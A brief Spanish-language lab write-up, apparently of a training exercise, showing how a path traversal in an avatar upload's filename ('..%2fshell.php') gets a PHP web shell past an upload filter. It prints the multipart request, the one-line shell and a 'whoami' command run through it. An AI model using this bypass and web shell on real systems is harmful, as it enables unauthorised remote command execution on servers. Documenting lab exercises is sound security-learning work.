Web shell upload via path traversal

En el sitio web encontramos un apartado para subir una imagen como avatar.

Al intentar subir un archivo php y trata de ejecutar comandos este no da ningun resultado.

Por lo que intente bypasear y lo que me llego a funcionar es un path traversal ..%2f

------geckoformboundary4a35b6ade6f323bf1f0d21aca4532235
Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Al enviar nuevamente y el archivo se sube correctamente.

Ahora al ejecutar podemos observar que ejecuta el comando.

/files/avatars/..%2fshell.php?cmd=whoami

GET /files/shell.php?cmd=whoami HTTP/2